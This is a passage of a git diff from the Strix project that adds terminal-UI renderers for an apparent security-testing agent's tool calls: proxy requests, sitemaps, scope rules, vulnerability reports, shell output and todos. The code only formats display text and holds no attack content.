style="dim") + + action = "searching" if search_pattern else "viewing" + text.append(f" {action} {part}", style="#06b6d4") + + if request_id: + text.append(f" #{request_id}", style="dim") + + if search_pattern: + text.append(f" /{_truncate(search_pattern, 100)}/", style="dim italic") + + if status == "completed" and isinstance(result, dict): + if "error" in result: + text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + elif "hits" in result: + hits = result.get("hits", []) + total = result.get("total_hits", len(hits)) + text.append(f" [{total} matches]", style="dim") + + if hits and isinstance(hits, list): + text.append("\n") + for i, m in enumerate(hits[:5]): + if not isinstance(m, dict): + continue + before = m.get("before", "") or "" + match_text = m.get("match", "") or "" + after = m.get("after", "") or "" + + before = before.replace("\n", " ").replace("\r", "")[-100:] + after = after.replace("\n", " ").replace("\r", "")[:100] + + text.append(" ") + + if before: + text.append(f"...{before}", style="dim") + text.append(match_text, style="#22c55e bold") + if after: + text.append(f"{after}...", style="dim") + + if i < min(len(hits), 5) - 1: + text.append("\n") + + if len(hits) > 5: + text.append("\n") + text.append(f" ... +{len(hits) - 5} more matches", style="dim italic") + + elif "content" in result: + page = result.get("page", 1) + total_lines = result.get("total_lines", 0) + has_more = result.get("has_more", False) + content = result.get("content", "") + + text.append(f" [page {page}, {total_lines} lines]", style="dim") + + if content and isinstance(content, str): + lines = content.split("\n")[:15] + text.append("\n") + for i, line in enumerate(lines): + text.append(" ") + text.append(_truncate(line, MAX_LINE_LENGTH), style="dim") + if i < len(lines) - 1: + text.append("\n") + + if has_more or len(lines) > 15: + text.append("\n") + text.append(" ... more content available", style="dim italic") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class RepeatRequestRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "repeat_request" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + request_id = args.get("request_id", "") + modifications = args.get("modifications") + + text = Text() + text.append(PROXY_ICON, style="dim") + text.append(" repeating request", style="#06b6d4") + + if request_id: + text.append(f" #{request_id}", style="dim") + + if modifications and isinstance(modifications, dict): + text.append("\n modifications:", style="dim italic") + + if "url" in modifications: + text.append("\n") + text.append(" >> ", style="#3b82f6") + text.append(f"url: {_truncate(str(modifications['url']), 180)}", style="dim") + + if "headers" in modifications and isinstance(modifications["headers"], dict): + for k, v in list(modifications["headers"].items())[:5]: + text.append("\n") + text.append(" >> ", style="#3b82f6") + text.append(f"{k}: {_sanitize(str(v), 150)}", style="dim") + + if "cookies" in modifications and isinstance(modifications["cookies"], dict): + for k, v in list(modifications["cookies"].items())[:5]: + text.append("\n") + text.append(" >> ", style="#3b82f6") + text.append(f"cookie {k}={_sanitize(str(v), 100)}", style="dim") + + if "params" in modifications and isinstance(modifications["params"], dict): + for k, v in list(modifications["params"].items())[:5]: + text.append("\n") + text.append(" >> ", style="#3b82f6") + text.append(f"param {k}={_sanitize(str(v), 100)}", style="dim") + + if "body" in modifications and isinstance(modifications["body"], str): + text.append("\n") + text.append(" >> ", style="#3b82f6") + body_lines = modifications["body"].split("\n")[:4] + for i, line in enumerate(body_lines): + if i > 0: + text.append("\n") + text.append(" ", style="dim") + text.append(_truncate(line, MAX_LINE_LENGTH), style="dim") + if len(modifications["body"].split("\n")) > 4: + text.append(" ...", style="dim italic") + + elif modifications and isinstance(modifications, str): + text.append(f"\n {_truncate(modifications, 200)}", style="dim italic") + + if status == "completed" and isinstance(result, dict): + if not result.get("success", True) and result.get("error"): + text.append(f"\n error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + else: + elapsed_ms = result.get("elapsed_ms") + response = result.get("response") or {} + code = response.get("status_code") if isinstance(response, dict) else None + body = response.get("body", "") if isinstance(response, dict) else "" + body_truncated = ( + bool(response.get("body_truncated")) if isinstance(response, dict) else False + ) + + text.append("\n") + text.append(" << ", style="#22c55e") + if code: + text.append(f"{code}", style=_status_style(code)) + else: + text.append("(no response)", style="dim") + if elapsed_ms: + text.append(f" ({elapsed_ms}ms)", style="dim") + + if body and isinstance(body, str): + lines = body.split("\n")[:5] + for line in lines: + text.append("\n") + text.append(" << ", style="#22c55e") + text.append(_truncate(line, MAX_LINE_LENGTH - 5), style="dim") + + if body_truncated or len(body.split("\n")) > 5: + text.append("\n") + text.append(" ...", style="dim italic") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ListSitemapRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_sitemap" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + parent_id = args.get("parent_id") + scope_id = args.get("scope_id") + depth = args.get("depth") + + text = Text() + text.append(PROXY_ICON, style="dim") + text.append(" listing sitemap", style="#06b6d4") + + if parent_id: + text.append(f" under #{_truncate(str(parent_id), 20)}", style="dim") + + meta_parts = [] + if scope_id and isinstance(scope_id, str): + meta_parts.append(f"scope:{scope_id[:8]}") + if depth and depth != "DIRECT": + meta_parts.append(depth.lower()) + if meta_parts: + text.append(f" ({', '.join(meta_parts)})", style="dim") + + if status == "completed" and isinstance(result, dict): + if "error" in result: + text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + else: + total = result.get("total_count", 0) + entries = result.get("entries", []) + + text.append(f" [{total} entries]", style="dim") + + if entries and isinstance(entries, list): + text.append("\n") + for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]): + if not isinstance(entry, dict): + continue + kind = entry.get("kind") or "?" + label = entry.get("label") or "?" + has_children = entry.get("has_descendants", False) + req = entry.get("request") or {} + + kind_style = { + "DOMAIN": "#f59e0b", + "DIRECTORY": "#3b82f6", + "REQUEST": "#22c55e", + }.get(kind, "dim") + + text.append(" ") + kind_abbr = kind[:3] if isinstance(kind, str) else "?" + text.append(f"{kind_abbr:3}", style=kind_style) + text.append(f" {_truncate(label, 150)}", style="dim") + + if req: + method = req.get("method", "") + code = req.get("status_code") + if method: + text.append(f" {method}", style="#a78bfa") + if code: + text.append(f" {code}", style=_status_style(code)) + + if has_children: + text.append(" +", style="dim italic") + + if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1: + text.append("\n") + + if len(entries) > MAX_REQUESTS_DISPLAY: + text.append("\n") + text.append( + f" ... +{len(entries) - MAX_REQUESTS_DISPLAY} more", style="dim italic" + ) + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ViewSitemapEntryRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_sitemap_entry" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + entry_id = args.get("entry_id", "") + + text = Text() + text.append(PROXY_ICON, style="dim") + text.append(" viewing sitemap", style="#06b6d4") + + if entry_id: + text.append(f" #{_truncate(str(entry_id), 20)}", style="dim") + + if status == "completed" and isinstance(result, dict): + if "error" in result: + text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + elif "entry" in result: + entry = result.get("entry") or {} + if not isinstance(entry, dict): + entry = {} + kind = entry.get("kind", "") + label = entry.get("label", "") + related = entry.get("related_requests") or {} + related_reqs = related.get("requests", []) if isinstance(related, dict) else [] + total_related = related.get("total_count", 0) if isinstance(related, dict) else 0 + + if kind and label: + text.append(f" {kind}: {_truncate(label, 120)}", style="dim") + + if total_related: + text.append(f" [{total_related} requests]", style="dim") + + if related_reqs and isinstance(related_reqs, list): + text.append("\n") + for i, req in enumerate(related_reqs[:10]): + if not isinstance(req, dict): + continue + method = req.get("method", "?") + path = req.get("path", "/") + code = req.get("status_code") + + text.append(" ") + text.append(f"{method:6}", style="#a78bfa") + text.append(f" {_truncate(path, 180)}", style="dim") + if code: + text.append(f" {code}", style=_status_style(code)) + + if i < min(len(related_reqs), 10) - 1: + text.append("\n") + + if len(related_reqs) > 10: + text.append("\n") + text.append(f" ... +{len(related_reqs) - 10} more", style="dim italic") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ScopeRulesRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "scope_rules" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result") + status = tool_data.get("status", "running") + + action = args.get("action", "") + scope_name = args.get("scope_name", "") + scope_id = args.get("scope_id", "") + allowlist = args.get("allowlist") + denylist = args.get("denylist") + + text = Text() + text.append(PROXY_ICON, style="dim") + + action_map = { + "get": "getting", + "list": "listing", + "create": "creating", + "update": "updating", + "delete": "deleting", + } + action_text = action_map.get(action, action + "ing" if action else "managing") + text.append(f" {action_text} proxy scope", style="#06b6d4") + + if scope_name: + text.append(f" '{_truncate(scope_name, 50)}'", style="dim italic") + if scope_id and isinstance(scope_id, str): + text.append(f" #{scope_id[:8]}", style="dim") + + if allowlist and isinstance(allowlist, list): + allow_str = ", ".join(_truncate(str(a), 40) for a in allowlist[:4]) + text.append(f"\n allow: {allow_str}", style="dim") + if len(allowlist) > 4: + text.append(f" +{len(allowlist) - 4}", style="dim italic") + if denylist and isinstance(denylist, list): + deny_str = ", ".join(_truncate(str(d), 40) for d in denylist[:4]) + text.append(f"\n deny: {deny_str}", style="dim") + if len(denylist) > 4: + text.append(f" +{len(denylist) - 4}", style="dim italic") + + if status == "completed" and isinstance(result, dict): + if "error" in result: + text.append(f" error: {_sanitize(str(result['error']), 150)}", style="#ef4444") + elif "scopes" in result: + scopes = result.get("scopes", []) + text.append(f" [{len(scopes)} scopes]", style="dim") + + if scopes and isinstance(scopes, list): + text.append("\n") + for i, scope in enumerate(scopes[:5]): + if not isinstance(scope, dict): + continue + name = scope.get("name", "?") + allow = scope.get("allowlist") or [] + text.append(" ") + text.append(_truncate(str(name), 40), style="#22c55e") + if allow and isinstance(allow, list): + allow_str = ", ".join(_truncate(str(a), 30) for a in allow[:3]) + text.append(f" {allow_str}", style="dim") + if len(allow) > 3: + text.append(f" +{len(allow) - 3}", style="dim italic") + if i < min(len(scopes), 5) - 1: + text.append("\n") + + elif "scope" in result: + scope = result.get("scope") or {} + if isinstance(scope, dict): + allow = scope.get("allowlist") or [] + deny = scope.get("denylist") or [] + + if allow and isinstance(allow, list): + allow_str = ", ".join(_truncate(str(a), 40) for a in allow[:5]) + text.append(f"\n allow: {allow_str}", style="dim") + if deny and isinstance(deny, list): + deny_str = ", ".join(_truncate(str(d), 40) for d in deny[:5]) + text.append(f"\n deny: {deny_str}", style="dim") + + elif "message" in result: + text.append(f" {result['message']}", style="#22c55e") + + css_classes = cls.get_css_classes(status) + return Static(text, classes=css_classes) diff --git a/strix/cli/tool_components/registry.py b/strix/interface/tui/renderers/registry.py similarity index 65% rename from strix/cli/tool_components/registry.py rename to strix/interface/tui/renderers/registry.py index 753a20b98..a9849b2d8 100644 --- a/strix/cli/tool_components/registry.py +++ b/strix/interface/tui/renderers/registry.py @@ -1,5 +1,6 @@ from typing import Any, ClassVar +from rich.text import Text from textual.widgets import Static from .base_renderer import BaseToolRenderer @@ -19,14 +20,6 @@ def register(cls, renderer_class: type[BaseToolRenderer]) -> None: def get_renderer(cls, tool_name: str) -> type[BaseToolRenderer] | None: return cls._renderers.get(tool_name) - @classmethod - def list_tools(cls) -> list[str]: - return list(cls._renderers.keys()) - - @classmethod - def has_renderer(cls, tool_name: str) -> bool: - return tool_name in cls._renderers - def register_tool_renderer(renderer_class: type[BaseToolRenderer]) -> type[BaseToolRenderer]: ToolTUIRegistry.register(renderer_class) @@ -47,26 +40,32 @@ def render_tool_widget(tool_data: dict[str, Any]) -> Static: def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static: - tool_name = BaseToolRenderer.escape_markup(tool_data.get("tool_name", "Unknown Tool")) + tool_name = tool_data.get("tool_name", "Unknown Tool") args = tool_data.get("args", {}) status = tool_data.get("status", "unknown") result = tool_data.get("result") - status_text = BaseToolRenderer.get_status_icon(status) + text = Text() - header = f"→ Using tool [bold blue]{tool_name}[/]" - content_parts = [header] + text.append("→ Using tool ", style="dim") + text.append(tool_name, style="bold blue") + text.append("\n") - args_str = BaseToolRenderer.format_args(args) - if args_str: - content_parts.append(args_str) + for k, v in list(args.items()): + str_v = str(v) + text.append(" ") + text.append(k, style="dim") + text.append(": ") + text.append(str_v) + text.append("\n") if status in ["completed", "failed", "error"] and result is not None: - result_str = BaseToolRenderer.format_result(result) - if result_str: - content_parts.append(f"[bold]Result:[/] {result_str}") + result_str = str(result) + text.append("Result: ", style="bold") + text.append(result_str) else: - content_parts.append(status_text) + icon, color = BaseToolRenderer.status_icon(status) + text.append(icon, style=color) css_classes = BaseToolRenderer.get_css_classes(status) - return Static("\n".join(content_parts), classes=css_classes) + return Static(text, classes=css_classes) diff --git a/strix/interface/tui/renderers/reporting_renderer.py b/strix/interface/tui/renderers/reporting_renderer.py new file mode 100644 index 000000000..885aba858 --- /dev/null +++ b/strix/interface/tui/renderers/reporting_renderer.py @@ -0,0 +1,258 @@ +from functools import cache +from typing import Any, ClassVar + +from pygments.lexers import PythonLexer +from pygments.styles import get_style_by_name +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +def _coerce_dict(value: Any) -> dict[str, Any]: + if isinstance(value, dict): + return value + return {} + + +def _coerce_list_of_dicts(value: Any) -> list[dict[str, Any]]: + if isinstance(value, list): + return [item for item in value if isinstance(item, dict)] + return [] + + +@cache +def _get_style_colors() -> dict[Any, str]: + style = get_style_by_name("native") + return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]} + + +FIELD_STYLE = "bold #4ade80" +DIM_STYLE = "dim" +FILE_STYLE = "bold #60a5fa" +LINE_STYLE = "#facc15" +LABEL_STYLE = "italic #a1a1aa" +CODE_STYLE = "#e2e8f0" +BEFORE_STYLE = "#ef4444" +AFTER_STYLE = "#22c55e" + + +@register_tool_renderer +class CreateVulnerabilityReportRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_vulnerability_report" + css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"] + + SEVERITY_COLORS: ClassVar[dict[str, str]] = { + "critical": "#dc2626", + "high": "#ea580c", + "medium": "#d97706", + "low": "#65a30d", + "info": "#0284c7", + } + + @classmethod + def _get_token_color(cls, token_type: Any) -> str | None: + colors = _get_style_colors() + while token_type: + if token_type in colors: + return colors[token_type] + token_type = token_type.parent + return None + + @classmethod + def _highlight_python(cls, code: str) -> Text: + lexer = PythonLexer() + text = Text() + + for token_type, token_value in lexer.get_tokens(code): + if not token_value: + continue + color = cls._get_token_color(token_type) + text.append(token_value, style=color) + + return text + + @classmethod + def _get_cvss_color(cls, cvss_score: float) -> str: + if cvss_score >= 9.0: + return "#dc2626" + if cvss_score >= 7.0: + return "#ea580c" + if cvss_score >= 4.0: + return "#d97706" + if cvss_score >= 0.1: + return "#65a30d" + return "#6b7280" + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915 + args = tool_data.get("args", {}) + result = tool_data.get("result", {}) + + title = args.get("title", "") + description = args.get("description", "") + impact = args.get("impact", "") + target = args.get("target", "") + technical_analysis = args.get("technical_analysis", "") + poc_description = args.get("poc_description", "") + poc_script_code = args.get("poc_script_code", "") + remediation_steps = args.get("remediation_steps", "") + + cvss_breakdown = _coerce_dict(args.get("cvss_breakdown")) + code_locations = _coerce_list_of_dicts(args.get("code_locations")) + + endpoint = args.get("endpoint", "") + method = args.get("method", "") + cve = args.get("cve", "") + cwe = args.get("cwe", "") + + severity = "" + cvss_score = None + if isinstance(result, dict): + severity = result.get("severity", "") + cvss_score = result.get("cvss_score") + + text = Text() + text.append("🐞 ") + text.append("Vulnerability Report", style="bold #ea580c") + + if title: + text.append("\n\n") + text.append("Title: ", style=FIELD_STYLE) + text.append(title) + + if severity: + text.append("\n\n") + text.append("Severity: ", style=FIELD_STYLE) + severity_color = cls.SEVERITY_COLORS.get(severity.lower(), "#6b7280") + text.append(severity.upper(), style=f"bold {severity_color}") + + if cvss_score is not None: + text.append("\n\n") + text.append("CVSS Score: ", style=FIELD_STYLE) + cvss_color = cls._get_cvss_color(cvss_score) + text.append(str(cvss_score), style=f"bold {cvss_color}") + + if target: + text.append("\n\n") + text.append("Target: ", style=FIELD_STYLE) + text.append(target) + + if endpoint: + text.append("\n\n") + text.append("Endpoint: ", style=FIELD_STYLE) + text.append(endpoint) + + if method: + text.append("\n\n") + text.append("Method: ", style=FIELD_STYLE) + text.append(method) + + if cve: + text.append("\n\n") + text.append("CVE: ", style=FIELD_STYLE) + text.append(cve) + + if cwe: + text.append("\n\n") + text.append("CWE: ", style=FIELD_STYLE) + text.append(cwe) + + if cvss_breakdown: + text.append("\n\n") + cvss_parts = [] + for key, prefix in [ + ("attack_vector", "AV"), + ("attack_complexity", "AC"), + ("privileges_required", "PR"), + ("user_interaction", "UI"), + ("scope", "S"), + ("confidentiality", "C"), + ("integrity", "I"), + ("availability", "A"), + ]: + val = cvss_breakdown.get(key) + if val: + cvss_parts.append(f"{prefix}:{val}") + text.append("CVSS Vector: ", style=FIELD_STYLE) + text.append("/".join(cvss_parts), style=DIM_STYLE) + + if description: + text.append("\n\n") + text.append("Description", style=FIELD_STYLE) + text.append("\n") + text.append(description) + + if impact: + text.append("\n\n") + text.append("Impact", style=FIELD_STYLE) + text.append("\n") + text.append(impact) + + if technical_analysis: + text.append("\n\n") + text.append("Technical Analysis", style=FIELD_STYLE) + text.append("\n") + text.append(technical_analysis) + + if code_locations: + text.append("\n\n") + text.append("Code Locations", style=FIELD_STYLE) + for i, loc in enumerate(code_locations): + text.append("\n\n") + text.append(f" Location {i + 1}: ", style=DIM_STYLE) + text.append(loc.get("file", "unknown"), style=FILE_STYLE) + start = loc.get("start_line") + end = loc.get("end_line") + if start is not None: + if end and end != start: + text.append(f":{start}-{end}", style=LINE_STYLE) + else: + text.append(f":{start}", style=LINE_STYLE) + if loc.get("label"): + text.append(f"\n {loc['label']}", style=LABEL_STYLE) + if loc.get("snippet"): + text.append("\n ") + text.append(loc["snippet"], style=CODE_STYLE) + if loc.get("fix_before") or loc.get("fix_after"): + text.append("\n ") + text.append("Fix:", style=DIM_STYLE) + if loc.get("fix_before"): + text.append("\n ") + text.append("- ", style=BEFORE_STYLE) + text.append(loc["fix_before"], style=BEFORE_STYLE) + if loc.get("fix_after"): + text.append("\n ") + text.append("+ ", style=AFTER_STYLE) + text.append(loc["fix_after"], style=AFTER_STYLE) + + if poc_description: + text.append("\n\n") + text.append("PoC Description", style=FIELD_STYLE) + text.append("\n") + text.append(poc_description) + + if poc_script_code: + text.append("\n\n") + text.append("PoC Code", style=FIELD_STYLE) + text.append("\n") + text.append_text(cls._highlight_python(poc_script_code)) + + if remediation_steps: + text.append("\n\n") + text.append("Remediation", style=FIELD_STYLE) + text.append("\n") + text.append(remediation_steps) + + if not title: + text.append("\n ") + text.append("Creating report...", style="dim") + + padded = Text() + padded.append("\n\n") + padded.append_text(text) + padded.append("\n\n") + + css_classes = cls.get_css_classes("completed") + return Static(padded, classes=css_classes) diff --git a/strix/interface/tui/renderers/shell_renderer.py b/strix/interface/tui/renderers/shell_renderer.py new file mode 100644 index 000000000..131bd6cd0 --- /dev/null +++ b/strix/interface/tui/renderers/shell_renderer.py @@ -0,0 +1,266 @@ +import re +from functools import cache +from typing import Any, ClassVar + +from pygments.lexers import get_lexer_by_name +from pygments.styles import get_style_by_name +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +MAX_OUTPUT_LINES = 50 +MAX_LINE_LENGTH = 200 + +STRIP_PATTERNS = [ + r"^Chunk ID: [0-9a-f]+\s*$", + r"^Wall time: [\d.]+ seconds\s*$", + r"^Process exited with code -?\d+\s*$", + r"^Process running with session ID \d+\s*$", + r"^Original token count: \d+\s*$", +] + +_EXIT_RE = re.compile(r"Process exited with code (-?\d+)") +_SESSION_RE = re.compile(r"Process running with session ID (\d+)") +_OUTPUT_HEADER = "\nOutput:\n" + +_CONTROL_BYTES_TO_DROP = dict.fromkeys( + [b for b in range(0x20) if b not in (0x09, 0x0A)] + [0x7F], + None, +) + + +@cache +def _get_style_colors() -> dict[Any, str]: + style = get_style_by_name("native") + return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]} + + +def _parse_sdk_shell_result(result: Any) -> dict[str, Any]: + """Translate the SDK's terminal-output string into the dict shape the + renderer's `_append_output` helper expects. + + The SDK returns a header-prefixed string ending with `Output:\\n`. + We extract `content`, `exit_code`, and `session_id`; anything else (or a + non-string result) flows through unchanged so renderers can handle errors. + """ + if isinstance(result, dict): + return result + if not isinstance(result, str): + return {"content": "" if result is None else str(result)} + + exit_match = _EXIT_RE.search(result) + session_match = _SESSION_RE.search(result) + idx = result.find(_OUTPUT_HEADER) + content = result[idx + len(_OUTPUT_HEADER) :] if idx >= 0 else result + + parsed: dict[str, Any] = {"content": content} + if exit_match: + parsed["exit_code"] = int(exit_match.group(1)) + if session_match: + parsed["session_id"] = int(session_match.group(1)) + return parsed + + +def _truncate_line(line: str) -> str: + if len(line) > MAX_LINE_LENGTH: + return line[: MAX_LINE_LENGTH - 3] + "..." + return line + + +def _clean_output(output: str) -> str: + cleaned = Text.from_ansi(output).plain.translate(_CONTROL_BYTES_TO_DROP) + for pattern in STRIP_PATTERNS: + cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE) + + if cleaned.strip(): + lines = cleaned.splitlines() + filtered_lines: list[str] = [] + for line in lines: + if not filtered_lines and not line.strip(): + continue + if line.strip() == "Output:": + continue + filtered_lines.append(line) + while filtered_lines and not filtered_lines[-1].strip(): + filtered_lines.pop() + cleaned = "\n".join(filtered_lines) + + return cleaned.strip() + + +def _format_output(output: str) -> Text: + text = Text() + lines = output.splitlines() + total_lines = len(lines) + + head_count = MAX_OUTPUT_LINES // 2 + tail_count = MAX_OUTPUT_LINES - head_count - 1 + + if total_lines <= MAX_OUTPUT_LINES: + display_lines = lines + truncated = False + hidden_count = 0 + else: + display_lines = lines[:head_count] + truncated = True + hidden_count = total_lines - head_count - tail_count + + for i, line in enumerate(display_lines): + text.append(" ") + text.append(_truncate_line(line), style="dim") + if i < len(display_lines) - 1 or truncated: + text.append("\n") + + if truncated: + text.append(f" ... {hidden_count} lines truncated ...", style="dim italic") + text.append("\n") + tail_lines = lines[-tail_count:] + for i, line in enumerate(tail_lines): + text.append(" ") + text.append(_truncate_line(line), style="dim") + if i < len(tail_lines) - 1: + text.append("\n") + + return text + + +def _get_token_color(token_type: Any) -> str | None: + colors = _get_style_colors() + while token_type: + if token_type in colors: + return colors[token_type] + token_type = token_type.parent + return None + + +def _highlight_bash(code: str) -> Text: + lexer = get_lexer_by_name("bash") + text = Text() + for token_type, token_value in lexer.get_tokens(code): + if not token_value: + continue + color = _get_token_color(token_type) + text.append(token_value, style=color) + return text + + +def _append_output(text: Text, parsed: dict[str, Any], tool_status: str) -> None: + raw_output = parsed.get("content", "") or "" + output = _clean_output(raw_output) if isinstance(raw_output, str) else "" + exit_code = parsed.get("exit_code") + + if tool_status == "running": + if output: + text.append("\n") + text.append_text(_format_output(output)) + return + + if not output: + if exit_code is not None and exit_code != 0: + text.append("\n") + text.append(f" exit {exit_code}", style="dim #ef4444") + return + + text.append("\n") + text.append_text(_format_output(output)) + + if exit_code is not None and exit_code != 0: + text.append("\n") + text.append(f" exit {exit_code}", style="dim #ef4444") + + +def _build_terminal_content( + *, + prompt: str, + prompt_style: str, + command: str, + parsed_result: dict[str, Any] | None, + tool_status: str, + meta: str | None = None, +) -> Text: + text = Text() + text.append(">_", style="dim") + text.append(" ") + + if not command.strip(): + text.append("getting logs...", style="dim") + else: + text.append(prompt, style=prompt_style) + text.append(" ") + text.append_text(_highlight_bash(command)) + + if meta: + text.append(f" {meta}", style="dim") + + if parsed_result is not None: + _append_output(text, parsed_result, tool_status) + + return text + + +@register_tool_renderer +class ExecCommandRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "exec_command" + css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + result = tool_data.get("result") + + cmd = str(args.get("cmd", "")) + workdir = args.get("workdir") + tty = bool(args.get("tty")) + + meta_parts: list[str] = [] + if workdir: + meta_parts.append(f"cwd:{workdir}") + if tty: + meta_parts.append("tty") + meta = ", ".join(meta_parts) if meta_parts else None + + parsed = _parse_sdk_shell_result(result) if result is not None else None + + content = _build_terminal_content( + prompt="$", + prompt_style="#22c55e", + command=cmd, + parsed_result=parsed, + tool_status=status, + meta=meta, + ) + + return Static(content, classes=cls.get_css_classes(status)) + + +@register_tool_renderer +class WriteStdinRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "write_stdin" + css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + result = tool_data.get("result") + + chars = str(args.get("chars", "")) + session_id = args.get("session_id") + meta = f"session #{session_id}" if session_id is not None else None + + parsed = _parse_sdk_shell_result(result) if result is not None else None + + content = _build_terminal_content( + prompt=">>>", + prompt_style="#3b82f6", + command=chars, + parsed_result=parsed, + tool_status=status, + meta=meta, + ) + + return Static(content, classes=cls.get_css_classes(status)) diff --git a/strix/cli/tool_components/thinking_renderer.py b/strix/interface/tui/renderers/thinking_renderer.py similarity index 62% rename from strix/cli/tool_components/thinking_renderer.py rename to strix/interface/tui/renderers/thinking_renderer.py index 04a5f8447..598bdf33e 100644 --- a/strix/cli/tool_components/thinking_renderer.py +++ b/strix/interface/tui/renderers/thinking_renderer.py @@ -1,5 +1,6 @@ from typing import Any, ClassVar +from rich.text import Text from textual.widgets import Static from .base_renderer import BaseToolRenderer @@ -14,16 +15,17 @@ class ThinkRenderer(BaseToolRenderer): @classmethod def render(cls, tool_data: dict[str, Any]) -> Static: args = tool_data.get("args", {}) - thought = args.get("thought", "") - header = "🧠 [bold #a855f7]Thinking[/]" + text = Text() + text.append("🧠 ") + text.append("Thinking", style="bold #a855f7") + text.append("\n ") if thought: - thought_display = thought[:200] + "..." if len(thought) > 200 else thought - content = f"{header}\n [italic dim]{cls.escape_markup(thought_display)}[/]" + text.append(thought, style="italic dim") else: - content = f"{header}\n [italic dim]Thinking...[/]" + text.append("Thinking...", style="italic dim") css_classes = cls.get_css_classes("completed") - return Static(content, classes=css_classes) + return Static(text, classes=css_classes) diff --git a/strix/interface/tui/renderers/todo_renderer.py b/strix/interface/tui/renderers/todo_renderer.py new file mode 100644 index 000000000..d166864b7 --- /dev/null +++ b/strix/interface/tui/renderers/todo_renderer.py @@ -0,0 +1,225 @@ +from typing import Any, ClassVar + +from rich.text import Text +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +STATUS_MARKERS: dict[str, str] = { + "pending": "[ ]", + "in_progress": "[~]", + "done": "[•]", +} + + +def _format_todo_lines(text: Text, result: dict[str, Any]) -> None: + todos = result.get("todos") + if not isinstance(todos, list) or not todos: + text.append("\n ") + text.append("No todos", style="dim") + return + + for todo in todos: + status = todo.get("status", "pending") + marker = STATUS_MARKERS.get(status, STATUS_MARKERS["pending"]) + + title = todo.get("title", "").strip() or "(untitled)" + + text.append("\n ") + text.append(marker) + text.append(" ") + + if status == "done": + text.append(title, style="dim strike") + elif status == "in_progress": + text.append(title, style="italic") + else: + text.append(title) + + +@register_tool_renderer +class CreateTodoRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_todo" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todo", style="bold #a78bfa") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Failed to create todo") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Creating...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class ListTodosRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "list_todos" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todos", style="bold #a78bfa") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Unable to list todos") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Loading...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class UpdateTodoRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "update_todo" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = 